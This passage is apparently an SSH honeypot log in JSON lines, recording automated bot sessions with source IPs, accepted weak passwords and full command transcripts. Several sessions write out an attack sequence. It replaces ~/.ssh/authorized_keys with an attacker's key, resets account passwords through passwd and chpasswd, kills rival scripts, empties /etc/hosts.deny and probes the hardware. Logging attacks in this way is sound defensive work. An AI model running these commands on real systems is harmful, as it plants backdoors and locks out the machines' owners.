8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:54:27.273094+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:54:27.624271+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:54:28.642469+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:54:29.288151+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:54:30.032554+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:54:30.703884+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T11:54:31.443458+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:54:32.332460+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:54:33.356793+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:54:34.328527+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"abcd1234","method":"password","accepted":true,"tier":"other"}]} {"id":"b35078f3-5fb4-43f6-b112-bf371f237986","name":"lawful-amber-avocet","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":42784,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:53:59.205091+00:00","ended_at":"2026-08-27T11:54:00.212862+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2162,"events":[{"seq":1,"at":"2026-08-27T11:53:29.824748+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:53:30.152736+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:53:34.992963+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:53:36.581035+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:53:36.911829+00:00","kind":"input","latency_ms":null,"data":"echo -e \"toor\\n2QZGLZkiTCn6\\n2QZGLZkiTCn6\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:53:37.244011+00:00","kind":"input","latency_ms":null,"data":"echo \"toor\\n2QZGLZkiTCn6\\n2QZGLZkiTCn6\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:53:37.572317+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:53:37.956520+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:53:38.957586+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:53:39.687090+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:53:40.020366+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:53:41.266314+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:53:41.604253+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:53:43.787241+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:53:44.112011+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:53:45.583507+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:53:45.912350+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:53:47.587223+00:00","kind":"output","latency_ms":null,"data":" 11:53:47 up 7 days, 8:43, 0 user, load average: 0.15, 0.15, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:53:47.915585+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:53:49.635214+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:53:49.961622+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:53:51.847391+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:53:52.175378+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:53:54.097883+00:00","kind":"output","latency_ms":null,"data":"top - 11:53:54 up 7 days, 8:44, 0 user, load average: 0.15, 0.15, 0.11\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:53:54.424723+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:53:55.403301+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:53:55.733090+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:53:56.392405+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:53:56.721285+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:53:57.002136+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":31,"at":"2026-08-27T11:53:57.329394+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:53:58.877141+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:53:59.206096+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:54:00.118132+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftpuser","password":"toor","method":"password","accepted":true,"tier":"other"}]} {"id":"31cedce7-da43-41ae-8b8c-2ea89c78e982","name":"noble-gallant-albatross","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":37162,"username":"arash","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":301,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:53:58.013089+00:00","ended_at":"2026-08-27T11:53:59.410019+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2173,"events":[{"seq":1,"at":"2026-08-27T11:53:39.516615+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:53:39.817867+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:53:44.213685+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:53:44.760689+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:53:45.061898+00:00","kind":"input","latency_ms":null,"data":"echo -e \"arash\\nBk8qLBneKSJb\\nBk8qLBneKSJb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:53:45.360746+00:00","kind":"input","latency_ms":null,"data":"echo \"arash\\nBk8qLBneKSJb\\nBk8qLBneKSJb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:53:45.661474+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:53:46.498143+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:53:46.799098+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:53:48.302095+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:53:48.607409+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:53:49.900565+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:53:50.202848+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:53:50.594778+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:53:50.896605+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:53:51.372727+00:00","kind":"output","latency_ms":null,"data":" 11:53:51 up 7 days, 8:43, 0 user, load average: 0.15, 0.17, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:53:51.673698+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:53:52.091795+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:53:52.395094+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:53:52.709202+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:53:53.008492+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:53:53.476315+00:00","kind":"output","latency_ms":null,"data":"top - 11:53:53 up 7 days, 8:44, 0 user, load average: 0.15, 0.17, 0.14\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:53:53.776780+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:53:54.421783+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:53:54.724402+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:53:55.189062+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:53:55.490433+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:53:55.897808+00:00","kind":"output","latency_ms":null,"data":"arash"},{"seq":29,"at":"2026-08-27T11:53:56.200077+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:53:57.711067+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:53:58.013671+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:53:59.320122+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"arash","password":"arash","method":"password","accepted":true,"tier":"other"}]} {"id":"aa97e1aa-5e37-405e-b2e6-db81e26da46f","name":"misty-downy-greenfinch","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59280,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":457,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:53:52.582483+00:00","ended_at":"2026-08-27T11:53:53.880658+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:53:31.613833+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:53:32.066026+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:53:37.357365+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:53:37.857130+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:53:38.314767+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MtDHnL9RKZRV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:53:38.773961+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:53:39.228475+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:53:39.565714+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:53:40.023699+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:53:40.843578+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:53:41.300582+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:53:42.156059+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:53:42.615935+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:53:42.927319+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:53:43.399143+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:53:43.812716+00:00","kind":"output","latency_ms":null,"data":" 11:53:43 up 7 days, 8:43, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:53:44.267847+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:53:44.531556+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:53:44.986864+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:53:45.615122+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:53:46.069555+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:53:46.917160+00:00","kind":"output","latency_ms":null,"data":"top - 11:53:46 up 7 days, 8:43, 0 user, load average: 0.02, 0.03, 0.02\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:53:47.375114+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:53:48.102535+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:53:48.561451+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:53:49.108134+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:53:49.565386+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:53:50.465126+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:53:50.923174+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:53:52.131119+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:53:52.584090+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:53:53.741210+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"citrix","method":"password","accepted":true,"tier":"other"}]} {"id":"49149378-e990-4c2e-9b75-a4bd2715635e","name":"prairie-wistful-martin","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51632,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:53:37.567910+00:00","ended_at":"2026-08-27T11:53:39.758008+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:53:08.689119+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:53:08.951773+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:53:13.277342+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:53:14.090195+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:53:14.353560+00:00","kind":"input","latency_ms":null,"data":"echo \"root:CfswBwG8WZOi\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:53:14.616833+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:53:14.880740+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:53:15.779321+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:53:16.924965+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:53:17.189777+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:53:19.143380+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:53:19.409146+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:53:21.276554+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:53:21.542589+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:53:23.598365+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:53:23.866476+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:53:24.194535+00:00","kind":"output","latency_ms":null,"data":" 11:53:24 up 7 days, 8:43, 0 user, load average: 0.19, 0.17, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:53:24.459048+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:53:26.262854+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:53:26.527604+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:53:27.962098+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:53:28.226339+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:53:29.819131+00:00","kind":"output","latency_ms":null,"data":"top - 11:53:29 up 7 days, 8:43, 0 user, load average: 0.19, 0.17, 0.13\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:53:30.082874+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:53:31.803051+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:53:32.068245+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:53:33.078059+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:53:33.341790+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:53:35.427834+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:53:35.692317+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:53:37.292683+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:53:37.568724+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:53:39.678914+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ubuntu@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"faf1ed23-d01e-449e-a490-07bd77bfa5a5","name":"whispering-woven-mongoose","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":47952,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:51:56.198137+00:00","ended_at":"2026-08-27T11:51:58.401380+00:00","ended_reason":"exec 